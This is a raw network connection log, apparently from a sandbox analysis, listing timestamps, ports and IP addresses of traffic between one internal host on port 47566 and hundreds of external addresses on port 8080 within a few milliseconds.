Jan 26, 2025 01:43:29.676335096 CET	8080	47566	62.211.76.69	192.168.2.13
Jan 26, 2025 01:43:29.676342964 CET	47566	8080	192.168.2.13	85.149.48.44
Jan 26, 2025 01:43:29.676346064 CET	8080	47566	95.243.87.15	192.168.2.13
Jan 26, 2025 01:43:29.676352024 CET	47566	8080	192.168.2.13	85.197.110.74
Jan 26, 2025 01:43:29.676356077 CET	8080	47566	95.82.180.121	192.168.2.13
Jan 26, 2025 01:43:29.676364899 CET	8080	47566	31.101.183.162	192.168.2.13
Jan 26, 2025 01:43:29.676373005 CET	8080	47566	95.148.60.115	192.168.2.13
Jan 26, 2025 01:43:29.676383018 CET	8080	47566	85.126.235.217	192.168.2.13
Jan 26, 2025 01:43:29.676414967 CET	47566	8080	192.168.2.13	85.126.235.217
Jan 26, 2025 01:43:29.676417112 CET	47566	8080	192.168.2.13	95.82.180.121
Jan 26, 2025 01:43:29.676418066 CET	47566	8080	192.168.2.13	62.211.76.69
Jan 26, 2025 01:43:29.676418066 CET	47566	8080	192.168.2.13	95.243.87.15
Jan 26, 2025 01:43:29.676454067 CET	47566	8080	192.168.2.13	95.148.60.115
Jan 26, 2025 01:43:29.676455975 CET	47566	8080	192.168.2.13	31.101.183.162
Jan 26, 2025 01:43:29.676557064 CET	8080	47566	85.122.106.55	192.168.2.13
Jan 26, 2025 01:43:29.676568031 CET	8080	47566	31.218.241.74	192.168.2.13
Jan 26, 2025 01:43:29.676577091 CET	8080	47566	95.80.216.205	192.168.2.13
Jan 26, 2025 01:43:29.676585913 CET	8080	47566	85.253.168.163	192.168.2.13
Jan 26, 2025 01:43:29.676594973 CET	8080	47566	62.251.99.184	192.168.2.13
Jan 26, 2025 01:43:29.676603079 CET	47566	8080	192.168.2.13	31.218.241.74
Jan 26, 2025 01:43:29.676605940 CET	8080	47566	94.233.18.170	192.168.2.13
Jan 26, 2025 01:43:29.676608086 CET	47566	8080	192.168.2.13	85.122.106.55
Jan 26, 2025 01:43:29.676615000 CET	8080	47566	95.54.225.71	192.168.2.13
Jan 26, 2025 01:43:29.676624060 CET	47566	8080	192.168.2.13	95.80.216.205
Jan 26, 2025 01:43:29.676625967 CET	8080	47566	85.172.161.202	192.168.2.13
Jan 26, 2025 01:43:29.676626921 CET	47566	8080	192.168.2.13	62.251.99.184
Jan 26, 2025 01:43:29.676635981 CET	8080	47566	62.37.112.217	192.168.2.13
Jan 26, 2025 01:43:29.676645041 CET	8080	47566	94.50.2.39	192.168.2.13
Jan 26, 2025 01:43:29.676646948 CET	47566	8080	192.168.2.13	85.253.168.163
Jan 26, 2025 01:43:29.676654100 CET	8080	47566	95.206.253.197	192.168.2.13
Jan 26, 2025 01:43:29.676662922 CET	8080	47566	31.100.74.198	192.168.2.13
Jan 26, 2025 01:43:29.676671982 CET	8080	47566	62.249.79.242	192.168.2.13
Jan 26, 2025 01:43:29.676681042 CET	8080	47566	85.45.246.49	192.168.2.13
Jan 26, 2025 01:43:29.676688910 CET	8080	47566	85.152.19.232	192.168.2.13
Jan 26, 2025 01:43:29.676697969 CET	8080	47566	94.129.158.43	192.168.2.13
Jan 26, 2025 01:43:29.676707983 CET	8080	47566	94.242.194.202	192.168.2.13
Jan 26, 2025 01:43:29.676758051 CET	47566	8080	192.168.2.13	94.233.18.170
Jan 26, 2025 01:43:29.676769018 CET	47566	8080	192.168.2.13	85.172.161.202
Jan 26, 2025 01:43:29.676769018 CET	47566	8080	192.168.2.13	95.54.225.71
Jan 26, 2025 01:43:29.676769018 CET	47566	8080	192.168.2.13	62.37.112.217
Jan 26, 2025 01:43:29.676780939 CET	47566	8080	192.168.2.13	62.249.79.242
Jan 26, 2025 01:43:29.676781893 CET	47566	8080	192.168.2.13	94.50.2.39
Jan 26, 2025 01:43:29.676781893 CET	47566	8080	192.168.2.13	95.206.253.197
Jan 26, 2025 01:43:29.676783085 CET	47566	8080	192.168.2.13	31.100.74.198
Jan 26, 2025 01:43:29.676789999 CET	47566	8080	192.168.2.13	85.152.19.232
Jan 26, 2025 01:43:29.676800013 CET	47566	8080	192.168.2.13	85.45.246.49
Jan 26, 2025 01:43:29.676800966 CET	47566	8080	192.168.2.13	94.129.158.43
Jan 26, 2025 01:43:29.676805973 CET	47566	8080	192.168.2.13	94.242.194.202
Jan 26, 2025 01:43:29.676924944 CET	8080	47566	31.24.253.46	192.168.2.13
Jan 26, 2025 01:43:29.676935911 CET	8080	47566	85.209.123.163	192.168.2.13
Jan 26, 2025 01:43:29.676944971 CET	8080	47566	95.64.107.192	192.168.2.13
Jan 26, 2025 01:43:29.676954031 CET	8080	47566	62.180.123.220	192.168.2.13
Jan 26, 2025 01:43:29.676956892 CET	47566	8080	192.168.2.13	31.24.253.46
Jan 26, 2025 01:43:29.676973104 CET	8080	47566	62.161.210.183	192.168.2.13
Jan 26, 2025 01:43:29.676978111 CET	47566	8080	192.168.2.13	85.209.123.163
Jan 26, 2025 01:43:29.676981926 CET	47566	8080	192.168.2.13	95.64.107.192
Jan 26, 2025 01:43:29.676984072 CET	8080	47566	31.34.61.8	192.168.2.13
Jan 26, 2025 01:43:29.676984072 CET	47566	8080	192.168.2.13	62.180.123.220
Jan 26, 2025 01:43:29.676992893 CET	8080	47566	31.45.27.120	192.168.2.13
Jan 26, 2025 01:43:29.677002907 CET	8080	47566	85.114.0.93	192.168.2.13
Jan 26, 2025 01:43:29.677011967 CET	8080	47566	62.223.225.48	192.168.2.13
Jan 26, 2025 01:43:29.677021027 CET	8080	47566	85.203.174.134	192.168.2.13
Jan 26, 2025 01:43:29.677021980 CET	47566	8080	192.168.2.13	62.161.210.183
Jan 26, 2025 01:43:29.677028894 CET	8080	47566	31.97.26.7	192.168.2.13
Jan 26, 2025 01:43:29.677031040 CET	47566	8080	192.168.2.13	31.34.61.8
Jan 26, 2025 01:43:29.677037954 CET	8080	47566	62.245.49.65	192.168.2.13
Jan 26, 2025 01:43:29.677037954 CET	47566	8080	192.168.2.13	31.45.27.120
Jan 26, 2025 01:43:29.677047014 CET	8080	47566	31.218.165.52	192.168.2.13
Jan 26, 2025 01:43:29.677050114 CET	47566	8080	192.168.2.13	85.203.174.134
Jan 26, 2025 01:43:29.677054882 CET	47566	8080	192.168.2.13	31.97.26.7
Jan 26, 2025 01:43:29.677056074 CET	47566	8080	192.168.2.13	85.114.0.93
Jan 26, 2025 01:43:29.677057028 CET	8080	47566	62.222.0.174	192.168.2.13
Jan 26, 2025 01:43:29.677056074 CET	47566	8080	192.168.2.13	62.223.225.48
Jan 26, 2025 01:43:29.677067041 CET	8080	47566	94.137.162.68	192.168.2.13
Jan 26, 2025 01:43:29.677076101 CET	8080	47566	94.181.133.171	192.168.2.13
Jan 26, 2025 01:43:29.677084923 CET	8080	47566	85.149.247.95	192.168.2.13
Jan 26, 2025 01:43:29.677094936 CET	8080	47566	85.106.20.47	192.168.2.13
Jan 26, 2025 01:43:29.677103996 CET	8080	47566	94.164.7.232	192.168.2.13
Jan 26, 2025 01:43:29.677128077 CET	47566	8080	192.168.2.13	85.106.20.47
Jan 26, 2025 01:43:29.677133083 CET	47566	8080	192.168.2.13	62.222.0.174
Jan 26, 2025 01:43:29.677134037 CET	47566	8080	192.168.2.13	62.245.49.65
Jan 26, 2025 01:43:29.677133083 CET	47566	8080	192.168.2.13	94.137.162.68
Jan 26, 2025 01:43:29.677133083 CET	47566	8080	192.168.2.13	94.181.133.171
Jan 26, 2025 01:43:29.677135944 CET	47566	8080	192.168.2.13	31.218.165.52
Jan 26, 2025 01:43:29.677138090 CET	47566	8080	192.168.2.13	85.149.247.95
Jan 26, 2025 01:43:29.677158117 CET	47566	8080	192.168.2.13	94.164.7.232
Jan 26, 2025 01:43:29.677273035 CET	8080	47566	31.222.195.206	192.168.2.13
Jan 26, 2025 01:43:29.677283049 CET	8080	47566	62.57.130.83	192.168.2.13
Jan 26, 2025 01:43:29.677290916 CET	8080	47566	85.72.102.231	192.168.2.13
Jan 26, 2025 01:43:29.677299976 CET	8080	47566	62.192.87.58	192.168.2.13
Jan 26, 2025 01:43:29.677309036 CET	8080	47566	31.231.74.216	192.168.2.13
Jan 26, 2025 01:43:29.677319050 CET	8080	47566	31.201.75.177	192.168.2.13
Jan 26, 2025 01:43:29.677320004 CET	47566	8080	192.168.2.13	62.57.130.83
Jan 26, 2025 01:43:29.677320004 CET	47566	8080	192.168.2.13	85.72.102.231
Jan 26, 2025 01:43:29.677320004 CET	47566	8080	192.168.2.13	31.222.195.206
Jan 26, 2025 01:43:29.677328110 CET	8080	47566	62.195.73.246	192.168.2.13
Jan 26, 2025 01:43:29.677335024 CET	47566	8080	192.168.2.13	31.231.74.216
Jan 26, 2025 01:43:29.677335024 CET	47566	8080	192.168.2.13	62.192.87.58
Jan 26, 2025 01:43:29.677339077 CET	8080	47566	62.164.173.45	192.168.2.13
Jan 26, 2025 01:43:29.677342892 CET	47566	8080	192.168.2.13	31.201.75.177
Jan 26, 2025 01:43:29.677382946 CET	8080	47566	94.181.120.160	192.168.2.13
Jan 26, 2025 01:43:29.677385092 CET	47566	8080	192.168.2.13	62.195.73.246
Jan 26, 2025 01:43:29.677385092 CET	47566	8080	192.168.2.13	62.164.173.45
Jan 26, 2025 01:43:29.677401066 CET	8080	47566	85.115.227.90	192.168.2.13
Jan 26, 2025 01:43:29.677411079 CET	8080	47566	31.153.199.12	192.168.2.13
Jan 26, 2025 01:43:29.677413940 CET	47566	8080	192.168.2.13	94.181.120.160
Jan 26, 2025 01:43:29.677422047 CET	8080	47566	95.145.114.36	192.168.2.13
Jan 26, 2025 01:43:29.677432060 CET	8080	47566	85.95.49.32	192.168.2.13
Jan 26, 2025 01:43:29.677439928 CET	47566	8080	192.168.2.13	85.115.227.90
Jan 26, 2025 01:43:29.677440882 CET	8080	47566	94.151.149.80	192.168.2.13
Jan 26, 2025 01:43:29.677443027 CET	47566	8080	192.168.2.13	31.153.199.12
Jan 26, 2025 01:43:29.677449942 CET	8080	47566	85.96.127.48	192.168.2.13
Jan 26, 2025 01:43:29.677459002 CET	8080	47566	62.111.47.186	192.168.2.13
Jan 26, 2025 01:43:29.677462101 CET	47566	8080	192.168.2.13	95.145.114.36
Jan 26, 2025 01:43:29.677463055 CET	47566	8080	192.168.2.13	85.95.49.32
Jan 26, 2025 01:43:29.677468061 CET	8080	47566	31.102.59.167	192.168.2.13
Jan 26, 2025 01:43:29.677472115 CET	47566	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:29.677478075 CET	8080	47566	95.95.121.160	192.168.2.13
Jan 26, 2025 01:43:29.677486897 CET	8080	47566	62.35.234.227	192.168.2.13
Jan 26, 2025 01:43:29.677495003 CET	8080	47566	95.124.15.222	192.168.2.13
Jan 26, 2025 01:43:29.677504063 CET	8080	47566	95.193.85.148	192.168.2.13
Jan 26, 2025 01:43:29.677512884 CET	8080	47566	62.20.208.232	192.168.2.13
Jan 26, 2025 01:43:29.677520990 CET	8080	47566	85.95.154.119	192.168.2.13
Jan 26, 2025 01:43:29.677531004 CET	47566	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:29.677531004 CET	47566	8080	192.168.2.13	95.95.121.160
Jan 26, 2025 01:43:29.677531958 CET	8080	47566	95.152.151.175	192.168.2.13
Jan 26, 2025 01:43:29.677531004 CET	47566	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:29.677532911 CET	47566	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:29.677535057 CET	47566	8080	192.168.2.13	95.193.85.148
Jan 26, 2025 01:43:29.677532911 CET	47566	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:29.677541018 CET	47566	8080	192.168.2.13	62.35.234.227
Jan 26, 2025 01:43:29.677544117 CET	47566	8080	192.168.2.13	85.95.154.119
Jan 26, 2025 01:43:29.677544117 CET	8080	47566	94.123.197.85	192.168.2.13
Jan 26, 2025 01:43:29.677551985 CET	47566	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:29.677553892 CET	8080	47566	62.166.149.238	192.168.2.13
Jan 26, 2025 01:43:29.677562952 CET	47566	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:29.677563906 CET	8080	47566	31.241.171.181	192.168.2.13
Jan 26, 2025 01:43:29.677572012 CET	47566	8080	192.168.2.13	94.123.197.85
Jan 26, 2025 01:43:29.677577972 CET	47566	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:29.677578926 CET	8080	47566	62.194.2.0	192.168.2.13
Jan 26, 2025 01:43:29.677598000 CET	47566	8080	192.168.2.13	31.241.171.181
Jan 26, 2025 01:43:29.677617073 CET	47566	8080	192.168.2.13	62.194.2.0
Jan 26, 2025 01:43:29.677789927 CET	8080	47566	95.190.61.25	192.168.2.13
Jan 26, 2025 01:43:29.677800894 CET	8080	47566	94.204.123.255	192.168.2.13
Jan 26, 2025 01:43:29.677809954 CET	8080	47566	62.68.98.24	192.168.2.13
Jan 26, 2025 01:43:29.677819014 CET	8080	47566	94.226.17.4	192.168.2.13
Jan 26, 2025 01:43:29.677828074 CET	8080	47566	85.80.91.197	192.168.2.13
Jan 26, 2025 01:43:29.677834034 CET	47566	8080	192.168.2.13	62.68.98.24
Jan 26, 2025 01:43:29.677836895 CET	8080	47566	95.138.137.29	192.168.2.13
Jan 26, 2025 01:43:29.677836895 CET	47566	8080	192.168.2.13	95.190.61.25
Jan 26, 2025 01:43:29.677836895 CET	47566	8080	192.168.2.13	94.204.123.255
Jan 26, 2025 01:43:29.677849054 CET	8080	47566	94.69.227.184	192.168.2.13
Jan 26, 2025 01:43:29.677850962 CET	47566	8080	192.168.2.13	94.226.17.4
Jan 26, 2025 01:43:29.677859068 CET	8080	47566	85.14.229.61	192.168.2.13
Jan 26, 2025 01:43:29.677864075 CET	47566	8080	192.168.2.13	85.80.91.197
Jan 26, 2025 01:43:29.677864075 CET	47566	8080	192.168.2.13	95.138.137.29
Jan 26, 2025 01:43:29.677867889 CET	8080	47566	95.73.167.125	192.168.2.13
Jan 26, 2025 01:43:29.677906990 CET	8080	47566	85.204.209.62	192.168.2.13
Jan 26, 2025 01:43:29.677917004 CET	8080	47566	94.21.149.157	192.168.2.13
Jan 26, 2025 01:43:29.677917004 CET	47566	8080	192.168.2.13	95.73.167.125
Jan 26, 2025 01:43:29.677918911 CET	47566	8080	192.168.2.13	94.69.227.184
Jan 26, 2025 01:43:29.677918911 CET	47566	8080	192.168.2.13	85.14.229.61
Jan 26, 2025 01:43:29.677927017 CET	8080	47566	31.248.200.165	192.168.2.13
Jan 26, 2025 01:43:29.677933931 CET	47566	8080	192.168.2.13	85.204.209.62
Jan 26, 2025 01:43:29.677936077 CET	8080	47566	95.46.197.94	192.168.2.13
Jan 26, 2025 01:43:29.677947998 CET	8080	47566	62.166.81.135	192.168.2.13
Jan 26, 2025 01:43:29.677947998 CET	47566	8080	192.168.2.13	94.21.149.157
Jan 26, 2025 01:43:29.677957058 CET	47566	8080	192.168.2.13	31.248.200.165
Jan 26, 2025 01:43:29.677957058 CET	8080	47566	94.1.203.199	192.168.2.13
Jan 26, 2025 01:43:29.677967072 CET	8080	47566	95.191.89.207	192.168.2.13
Jan 26, 2025 01:43:29.677969933 CET	47566	8080	192.168.2.13	95.46.197.94
Jan 26, 2025 01:43:29.677977085 CET	8080	47566	94.206.63.98	192.168.2.13
Jan 26, 2025 01:43:29.677978039 CET	47566	8080	192.168.2.13	62.166.81.135
Jan 26, 2025 01:43:29.677978039 CET	47566	8080	192.168.2.13	94.1.203.199
Jan 26, 2025 01:43:29.677987099 CET	8080	47566	85.93.98.210	192.168.2.13
Jan 26, 2025 01:43:29.677994967 CET	8080	47566	95.214.235.226	192.168.2.13
Jan 26, 2025 01:43:29.678004026 CET	8080	47566	62.172.53.205	192.168.2.13
Jan 26, 2025 01:43:29.678021908 CET	8080	47566	62.142.130.200	192.168.2.13
Jan 26, 2025 01:43:29.678031921 CET	8080	47566	85.223.206.157	192.168.2.13
Jan 26, 2025 01:43:29.678040981 CET	8080	47566	85.112.37.254	192.168.2.13
Jan 26, 2025 01:43:29.678050995 CET	8080	47566	85.210.72.137	192.168.2.13
Jan 26, 2025 01:43:29.678057909 CET	47566	8080	192.168.2.13	94.206.63.98
Jan 26, 2025 01:43:29.678061008 CET	8080	47566	85.98.247.145	192.168.2.13
Jan 26, 2025 01:43:29.678066015 CET	47566	8080	192.168.2.13	85.223.206.157
Jan 26, 2025 01:43:29.678070068 CET	47566	8080	192.168.2.13	85.112.37.254
Jan 26, 2025 01:43:29.678071022 CET	8080	47566	31.2.165.135	192.168.2.13
Jan 26, 2025 01:43:29.678070068 CET	47566	8080	192.168.2.13	85.93.98.210
Jan 26, 2025 01:43:29.678070068 CET	47566	8080	192.168.2.13	95.214.235.226
Jan 26, 2025 01:43:29.678070068 CET	47566	8080	192.168.2.13	62.172.53.205
Jan 26, 2025 01:43:29.678075075 CET	47566	8080	192.168.2.13	95.191.89.207
Jan 26, 2025 01:43:29.678077936 CET	47566	8080	192.168.2.13	85.210.72.137
Jan 26, 2025 01:43:29.678080082 CET	47566	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:29.678081036 CET	8080	47566	85.58.191.155	192.168.2.13
Jan 26, 2025 01:43:29.678091049 CET	8080	47566	95.67.56.162	192.168.2.13
Jan 26, 2025 01:43:29.678093910 CET	47566	8080	192.168.2.13	31.2.165.135
Jan 26, 2025 01:43:29.678101063 CET	47566	8080	192.168.2.13	85.98.247.145
Jan 26, 2025 01:43:29.678141117 CET	47566	8080	192.168.2.13	95.67.56.162
Jan 26, 2025 01:43:29.678143024 CET	47566	8080	192.168.2.13	85.58.191.155
Jan 26, 2025 01:43:29.678219080 CET	8080	47566	95.177.164.118	192.168.2.13
Jan 26, 2025 01:43:29.678255081 CET	47566	8080	192.168.2.13	95.177.164.118
Jan 26, 2025 01:43:29.678335905 CET	8080	47566	62.14.76.163	192.168.2.13
Jan 26, 2025 01:43:29.678345919 CET	8080	47566	94.124.186.82	192.168.2.13
Jan 26, 2025 01:43:29.678355932 CET	8080	47566	85.122.29.184	192.168.2.13
Jan 26, 2025 01:43:29.678365946 CET	8080	47566	62.11.137.137	192.168.2.13
Jan 26, 2025 01:43:29.678370953 CET	47566	8080	192.168.2.13	62.14.76.163
Jan 26, 2025 01:43:29.678373098 CET	47566	8080	192.168.2.13	94.124.186.82
Jan 26, 2025 01:43:29.678383112 CET	47566	8080	192.168.2.13	85.122.29.184
Jan 26, 2025 01:43:29.678386927 CET	8080	47566	95.241.218.188	192.168.2.13
Jan 26, 2025 01:43:29.678397894 CET	8080	47566	31.118.72.24	192.168.2.13
Jan 26, 2025 01:43:29.678400993 CET	47566	8080	192.168.2.13	62.11.137.137
Jan 26, 2025 01:43:29.678406954 CET	8080	47566	95.116.124.168	192.168.2.13
Jan 26, 2025 01:43:29.678416967 CET	8080	47566	95.2.28.4	192.168.2.13
Jan 26, 2025 01:43:29.678417921 CET	47566	8080	192.168.2.13	95.241.218.188
Jan 26, 2025 01:43:29.678426027 CET	8080	47566	95.222.120.36	192.168.2.13
Jan 26, 2025 01:43:29.678431034 CET	47566	8080	192.168.2.13	31.118.72.24
Jan 26, 2025 01:43:29.678436041 CET	8080	47566	62.8.157.116	192.168.2.13
Jan 26, 2025 01:43:29.678446054 CET	8080	47566	31.12.228.181	192.168.2.13
Jan 26, 2025 01:43:29.678446054 CET	47566	8080	192.168.2.13	95.116.124.168
Jan 26, 2025 01:43:29.678452015 CET	47566	8080	192.168.2.13	95.2.28.4
Jan 26, 2025 01:43:29.678452969 CET	47566	8080	192.168.2.13	95.222.120.36
Jan 26, 2025 01:43:29.678456068 CET	8080	47566	62.239.195.88	192.168.2.13
Jan 26, 2025 01:43:29.678463936 CET	47566	8080	192.168.2.13	62.8.157.116
Jan 26, 2025 01:43:29.678467035 CET	8080	47566	31.227.75.220	192.168.2.13
Jan 26, 2025 01:43:29.678477049 CET	8080	47566	85.65.84.92	192.168.2.13
Jan 26, 2025 01:43:29.678478003 CET	47566	8080	192.168.2.13	31.12.228.181
Jan 26, 2025 01:43:29.678486109 CET	8080	47566	62.181.31.63	192.168.2.13
Jan 26, 2025 01:43:29.678491116 CET	47566	8080	192.168.2.13	62.239.195.88
Jan 26, 2025 01:43:29.678505898 CET	8080	47566	31.96.60.86	192.168.2.13
Jan 26, 2025 01:43:29.678515911 CET	8080	47566	94.129.192.191	192.168.2.13
Jan 26, 2025 01:43:29.678519964 CET	47566	8080	192.168.2.13	85.65.84.92
Jan 26, 2025 01:43:29.678524017 CET	8080	47566	62.218.241.254	192.168.2.13
Jan 26, 2025 01:43:29.678534031 CET	8080	47566	62.121.59.222	192.168.2.13
Jan 26, 2025 01:43:29.678543091 CET	8080	47566	94.64.17.15	192.168.2.13
Jan 26, 2025 01:43:29.678551912 CET	8080	47566	62.228.45.172	192.168.2.13
Jan 26, 2025 01:43:29.678560019 CET	47566	8080	192.168.2.13	31.227.75.220
Jan 26, 2025 01:43:29.678560019 CET	47566	8080	192.168.2.13	62.181.31.63
Jan 26, 2025 01:43:29.678560972 CET	47566	8080	192.168.2.13	31.96.60.86
Jan 26, 2025 01:43:29.678560972 CET	47566	8080	192.168.2.13	62.218.241.254
Jan 26, 2025 01:43:29.678561926 CET	8080	47566	95.25.160.108	192.168.2.13
Jan 26, 2025 01:43:29.678569078 CET	47566	8080	192.168.2.13	94.129.192.191
Jan 26, 2025 01:43:29.678570032 CET	47566	8080	192.168.2.13	62.121.59.222
Jan 26, 2025 01:43:29.678570986 CET	47566	8080	192.168.2.13	94.64.17.15
Jan 26, 2025 01:43:29.678574085 CET	8080	47566	95.104.250.159	192.168.2.13
Jan 26, 2025 01:43:29.678582907 CET	47566	8080	192.168.2.13	62.228.45.172
Jan 26, 2025 01:43:29.678584099 CET	8080	47566	85.243.69.106	192.168.2.13
Jan 26, 2025 01:43:29.678595066 CET	8080	47566	95.26.2.15	192.168.2.13
Jan 26, 2025 01:43:29.678600073 CET	47566	8080	192.168.2.13	95.104.250.159
Jan 26, 2025 01:43:29.678603888 CET	8080	47566	95.210.161.36	192.168.2.13
Jan 26, 2025 01:43:29.678610086 CET	47566	8080	192.168.2.13	85.243.69.106
Jan 26, 2025 01:43:29.678616047 CET	8080	47566	94.204.11.236	192.168.2.13
Jan 26, 2025 01:43:29.678618908 CET	47566	8080	192.168.2.13	95.26.2.15
Jan 26, 2025 01:43:29.678627014 CET	47566	8080	192.168.2.13	95.25.160.108
Jan 26, 2025 01:43:29.678637028 CET	47566	8080	192.168.2.13	94.204.11.236
Jan 26, 2025 01:43:29.678772926 CET	47566	8080	192.168.2.13	95.210.161.36
Jan 26, 2025 01:43:29.678797960 CET	8080	47566	95.192.55.72	192.168.2.13
Jan 26, 2025 01:43:29.678809881 CET	8080	47566	85.251.61.162	192.168.2.13
Jan 26, 2025 01:43:29.678818941 CET	8080	47566	95.31.184.235	192.168.2.13
Jan 26, 2025 01:43:29.678828955 CET	8080	47566	31.192.133.214	192.168.2.13
Jan 26, 2025 01:43:29.678837061 CET	8080	47566	85.50.3.138	192.168.2.13
Jan 26, 2025 01:43:29.678843021 CET	47566	8080	192.168.2.13	95.192.55.72
Jan 26, 2025 01:43:29.678844929 CET	47566	8080	192.168.2.13	31.192.133.214
Jan 26, 2025 01:43:29.678845882 CET	47566	8080	192.168.2.13	95.31.184.235
Jan 26, 2025 01:43:29.678845882 CET	8080	47566	94.217.35.140	192.168.2.13
Jan 26, 2025 01:43:29.678858042 CET	8080	47566	31.114.77.56	192.168.2.13
Jan 26, 2025 01:43:29.678867102 CET	8080	47566	85.224.96.150	192.168.2.13
Jan 26, 2025 01:43:29.678869009 CET	47566	8080	192.168.2.13	85.50.3.138
Jan 26, 2025 01:43:29.678869963 CET	47566	8080	192.168.2.13	94.217.35.140
Jan 26, 2025 01:43:29.678875923 CET	8080	47566	95.224.186.189	192.168.2.13
Jan 26, 2025 01:43:29.678880930 CET	47566	8080	192.168.2.13	85.251.61.162
Jan 26, 2025 01:43:29.678885937 CET	47566	8080	192.168.2.13	31.114.77.56
Jan 26, 2025 01:43:29.678886890 CET	8080	47566	95.150.174.55	192.168.2.13
Jan 26, 2025 01:43:29.678898096 CET	8080	47566	31.113.74.251	192.168.2.13
Jan 26, 2025 01:43:29.678904057 CET	47566	8080	192.168.2.13	85.224.96.150
Jan 26, 2025 01:43:29.678904057 CET	47566	8080	192.168.2.13	95.224.186.189
Jan 26, 2025 01:43:29.678905964 CET	8080	47566	95.125.247.170	192.168.2.13
Jan 26, 2025 01:43:29.678915977 CET	8080	47566	95.234.19.241	192.168.2.13
Jan 26, 2025 01:43:29.678924084 CET	47566	8080	192.168.2.13	95.150.174.55
Jan 26, 2025 01:43:29.678924084 CET	47566	8080	192.168.2.13	95.125.247.170
Jan 26, 2025 01:43:29.678925037 CET	47566	8080	192.168.2.13	31.113.74.251
Jan 26, 2025 01:43:29.678925991 CET	8080	47566	85.105.229.32	192.168.2.13
Jan 26, 2025 01:43:29.678935051 CET	8080	47566	62.20.141.9	192.168.2.13
Jan 26, 2025 01:43:29.678940058 CET	47566	8080	192.168.2.13	95.234.19.241
Jan 26, 2025 01:43:29.678946018 CET	8080	47566	94.48.123.79	192.168.2.13
Jan 26, 2025 01:43:29.678955078 CET	8080	47566	85.69.54.70	192.168.2.13
Jan 26, 2025 01:43:29.678958893 CET	8080	47566	95.121.127.222	192.168.2.13
Jan 26, 2025 01:43:29.678966999 CET	8080	47566	94.142.138.96	192.168.2.13
Jan 26, 2025 01:43:29.678971052 CET	8080	47566	31.213.124.160	192.168.2.13
Jan 26, 2025 01:43:29.678975105 CET	8080	47566	94.220.13.58	192.168.2.13
Jan 26, 2025 01:43:29.678978920 CET	8080	47566	85.138.52.115	192.168.2.13
Jan 26, 2025 01:43:29.678982973 CET	8080	47566	94.244.236.193	192.168.2.13
Jan 26, 2025 01:43:29.678989887 CET	8080	47566	94.116.147.49	192.168.2.13
Jan 26, 2025 01:43:29.678993940 CET	47566	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:29.678998947 CET	8080	47566	85.56.94.70	192.168.2.13
Jan 26, 2025 01:43:29.678998947 CET	47566	8080	192.168.2.13	85.105.229.32
Jan 26, 2025 01:43:29.679009914 CET	8080	47566	31.41.111.233	192.168.2.13
Jan 26, 2025 01:43:29.679009914 CET	47566	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:29.679012060 CET	47566	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:29.679013968 CET	8080	47566	62.194.101.204	192.168.2.13
Jan 26, 2025 01:43:29.679018021 CET	47566	8080	192.168.2.13	94.142.138.96
Jan 26, 2025 01:43:29.679018021 CET	8080	47566	85.199.235.142	192.168.2.13
Jan 26, 2025 01:43:29.679018021 CET	47566	8080	192.168.2.13	62.20.141.9
Jan 26, 2025 01:43:29.679024935 CET	47566	8080	192.168.2.13	94.116.147.49
Jan 26, 2025 01:43:29.679023981 CET	47566	8080	192.168.2.13	94.220.13.58
Jan 26, 2025 01:43:29.679024935 CET	47566	8080	192.168.2.13	85.138.52.115
Jan 26, 2025 01:43:29.679028034 CET	47566	8080	192.168.2.13	31.213.124.160
Jan 26, 2025 01:43:29.679040909 CET	47566	8080	192.168.2.13	94.244.236.193
Jan 26, 2025 01:43:29.679056883 CET	47566	8080	192.168.2.13	85.56.94.70
Jan 26, 2025 01:43:29.679059982 CET	47566	8080	192.168.2.13	31.41.111.233
Jan 26, 2025 01:43:29.679059982 CET	47566	8080	192.168.2.13	62.194.101.204
Jan 26, 2025 01:43:29.679060936 CET	47566	8080	192.168.2.13	85.199.235.142
Jan 26, 2025 01:43:29.679222107 CET	8080	47566	85.249.177.45	192.168.2.13
Jan 26, 2025 01:43:29.679233074 CET	8080	47566	95.67.120.208	192.168.2.13
Jan 26, 2025 01:43:29.679243088 CET	8080	47566	85.84.236.254	192.168.2.13
Jan 26, 2025 01:43:29.679251909 CET	8080	47566	62.240.92.77	192.168.2.13
Jan 26, 2025 01:43:29.679261923 CET	47566	8080	192.168.2.13	95.67.120.208
Jan 26, 2025 01:43:29.679265976 CET	47566	8080	192.168.2.13	85.249.177.45
Jan 26, 2025 01:43:29.679267883 CET	8080	47566	85.170.100.249	192.168.2.13
Jan 26, 2025 01:43:29.679270983 CET	47566	8080	192.168.2.13	85.84.236.254
Jan 26, 2025 01:43:29.679275990 CET	47566	8080	192.168.2.13	62.240.92.77
Jan 26, 2025 01:43:29.679280996 CET	8080	47566	94.45.209.46	192.168.2.13
Jan 26, 2025 01:43:29.679290056 CET	8080	47566	95.105.105.34	192.168.2.13
Jan 26, 2025 01:43:29.679299116 CET	8080	47566	94.202.11.67	192.168.2.13
Jan 26, 2025 01:43:29.679307938 CET	8080	47566	31.211.225.133	192.168.2.13
Jan 26, 2025 01:43:29.679315090 CET	47566	8080	192.168.2.13	85.170.100.249
Jan 26, 2025 01:43:29.679327965 CET	8080	47566	95.64.182.236	192.168.2.13
Jan 26, 2025 01:43:29.679331064 CET	47566	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:29.679337978 CET	8080	47566	31.89.122.105	192.168.2.13
Jan 26, 2025 01:43:29.679346085 CET	8080	47566	31.170.144.230	192.168.2.13
Jan 26, 2025 01:43:29.679354906 CET	8080	47566	31.194.60.141	192.168.2.13
Jan 26, 2025 01:43:29.679363966 CET	8080	47566	94.98.98.234	192.168.2.13
Jan 26, 2025 01:43:29.679373026 CET	8080	47566	62.18.79.42	192.168.2.13
Jan 26, 2025 01:43:29.679373026 CET	47566	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:29.679374933 CET	47566	8080	192.168.2.13	95.105.105.34
